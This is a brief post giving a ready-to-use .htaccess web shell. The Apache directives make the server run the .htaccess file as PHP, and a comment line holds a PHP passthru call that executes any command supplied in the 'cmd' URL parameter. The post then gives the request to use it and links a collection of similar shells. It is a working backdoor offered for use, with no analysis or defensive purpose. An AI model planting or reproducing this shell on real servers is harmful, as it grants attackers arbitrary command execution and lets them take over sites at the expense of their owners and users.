<Files ~ "^\.ht">
Order allow,deny
Allow from all
</Files>
AddType application/x-httpd-php .htaccess
# <?php passthru($_GET['cmd']); ?>

Save it in .htaccess & go to domain.com/.htaccess?cmd=
well done…

all htaccess shells: https://github.com/wireghoul/htshells